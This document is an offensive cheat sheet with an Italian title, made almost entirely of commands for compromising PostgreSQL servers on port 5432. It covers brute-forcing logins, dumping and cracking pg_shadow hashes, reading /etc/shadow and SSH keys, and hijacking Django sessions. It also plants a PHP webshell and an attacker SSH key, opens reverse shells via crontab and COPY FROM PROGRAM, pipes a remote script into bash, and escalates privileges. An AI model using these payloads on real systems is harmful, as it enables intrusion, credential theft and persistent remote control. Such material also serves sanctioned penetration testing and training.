Porta 5432 PostgreSQL: Payload, pg_shadow, COPY PROGRAM e RCE

nmap -sV -p 5432 10.10.10.40

nmap -p 5432 --script=pgsql-brute,pgsql-info 10.10.10.40

# PostgreSQL risponde con un banner al protocollo startup
psql -h 10.10.10.40 -U test -d postgres

psql -h 10.10.10.40 -U postgres -d postgres
# Password: postgres

# Hydra
hydra -l postgres -P /usr/share/wordlists/rockyou.txt 10.10.10.40 postgres

# Metasploit
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 10.10.10.40
set USERNAME postgres
set PASS_FILE /usr/share/wordlists/common_passwords.txt
run

# Nmap
nmap -p 5432 --script=pgsql-brute --script-args="userdb=users.txt,passdb=passwords.txt" 10.10.10.40

# Django settings.py
grep -r "DATABASES" /var/www/ /opt/ 2>/dev/null

# Rails database.yml
find / -name "database.yml" 2>/dev/null -exec cat {} \;

# .pgpass file (password salvate per psql)
cat ~/.pgpass
# formato: hostname:port:database:username:password

-- Versione
SELECT version();

-- Utente corrente
SELECT current_user;

-- Superuser?
SELECT usesuper FROM pg_user WHERE usename = current_user;

-- Database correnti
SELECT datname FROM pg_database;

-- Tabelle nel database corrente
\dt
-- oppure
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';

-- Hash delle password degli utenti PostgreSQL
SELECT usename, passwd FROM pg_shadow;

# Crack MD5 PostgreSQL
hashcat -m 11 hash.txt /usr/share/wordlists/rockyou.txt

# Crack SCRAM-SHA-256
hashcat -m 28600 hash.txt /usr/share/wordlists/rockyou.txt

-- Lista tabelle con dati interessanti
SELECT table_name FROM information_schema.tables
WHERE table_schema = 'public'
ORDER BY table_name;

-- Cerca tabelle con nomi interessanti
SELECT table_name FROM information_schema.tables
WHERE table_name LIKE '%user%'
   OR table_name LIKE '%account%'
   OR table_name LIKE '%credential%'
   OR table_name LIKE '%session%'
   OR table_name LIKE '%token%';

-- Dump utenti applicazione (Django)
SELECT username, email, password FROM auth_user;

-- Dump sessioni attive (session hijacking)
SELECT session_key, session_data, expire_date FROM django_session
WHERE expire_date > NOW();

-- Leggi /etc/passwd
CREATE TABLE tmp_file(content TEXT);
COPY tmp_file FROM '/etc/passwd';
SELECT * FROM tmp_file;
DROP TABLE tmp_file;

-- Leggi pg_hba.conf (regole di accesso)
COPY tmp_file FROM '/etc/postgresql/15/main/pg_hba.conf';

-- Leggi chiave SSH
COPY tmp_file FROM '/var/lib/postgresql/.ssh/id_rsa';

-- Leggi configurazione applicazione
COPY tmp_file FROM '/var/www/html/config/database.yml';
COPY tmp_file FROM '/opt/app/.env';

SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/shadow');  -- se PostgreSQL gira come root (raro)
SELECT pg_read_file('/var/lib/postgresql/.pgpass');

-- Importa un file come Large Object
SELECT lo_import('/etc/passwd');
-- Restituisce un OID, ad esempio 16789

-- Leggi il contenuto
SELECT lo_get(16789);

-- Pulisci
SELECT lo_unlink(16789);

-- Scrivi una webshell (se conosci il web root)
COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/cmd.php';

# Testa la webshell
curl "http://10.10.10.40/cmd.php?c=id"

-- Scrivi una chiave SSH
COPY (SELECT 'ssh-rsa AAAA...attacker_key') TO '/var/lib/postgresql/.ssh/authorized_keys';

# Connettiti via SSH come utente postgres
ssh postgres@10.10.10.40

-- Scrivi crontab per reverse shell
COPY (SELECT '* * * * * bash -c "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"') TO '/var/spool/cron/crontabs/postgres';

-- Crea un Large Object con contenuto custom
SELECT lo_from_bytea(0, decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==', 'base64'));
-- OID restituito: 16790

-- Esporta come file
SELECT lo_export(16790, '/var/www/html/cmd.php');
SELECT lo_unlink(16790);

-- Esegui un comando e leggi l'output
COPY tmp_cmd FROM PROGRAM 'id';
SELECT * FROM tmp_cmd;

-- Reverse shell diretta
COPY tmp_cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"';

-- Enumerazione dal database
COPY tmp_cmd FROM PROGRAM 'cat /etc/shadow';
COPY tmp_cmd FROM PROGRAM 'ls -la /root/';
COPY tmp_cmd FROM PROGRAM 'ss -tlnp';
COPY tmp_cmd FROM PROGRAM 'cat /root/.ssh/id_rsa';

-- Crea una funzione che esegue comandi OS
CREATE OR REPLACE FUNCTION cmd_exec(text) RETURNS text AS $$
  import os
  return os.popen(args[0]).read()
$$ LANGUAGE plpython3u;

SELECT cmd_exec('id');

-- Verifica linguaggi disponibili
SELECT * FROM pg_language;

-- Installa plpython3u (richiede superuser)
CREATE EXTENSION plpython3u;

-- Carica una shared library custom
CREATE OR REPLACE FUNCTION sys(text) RETURNS text
AS '/tmp/pg_exec.so', 'pg_exec'
LANGUAGE C STRICT;

SELECT sys('id');

sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --os-shell
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --file-write="./shell.php" --file-dest="/var/www/html/shell.php"

-- Verifica ruoli
SELECT rolname, rolsuper, rolcreaterole, rolcreatedb FROM pg_roles;

-- Se hai CREATEROLE
ALTER ROLE current_user SUPERUSER;

-- Cerca password in chiaro nelle tabelle
SELECT * FROM pg_settings WHERE name LIKE '%password%';

# La shell da COPY PROGRAM gira come utente "postgres"
# Enumera per privilege escalation Linux

-- Da PostgreSQL, lancia linpeas
COPY tmp FROM PROGRAM 'curl http://10.10.10.200/linpeas.sh | bash';

-- Credenziali nelle tabelle → test su altri servizi
-- Email + password hash → crack + spray su SSH/RDP/SMB

-- Cerca connessioni ad altri database nel codice
COPY tmp FROM PROGRAM 'grep -riE "jdbc|mysql|mongodb|redis" /opt/ /var/www/ /home/ 2>/dev/null';

-- Network scan dalla macchina PostgreSQL
COPY tmp FROM PROGRAM 'for h in $(seq 1 254); do timeout 0.5 bash -c "echo >/dev/tcp/10.10.10.$h/22" 2>/dev/null && echo "10.10.10.$h:22 open"; done';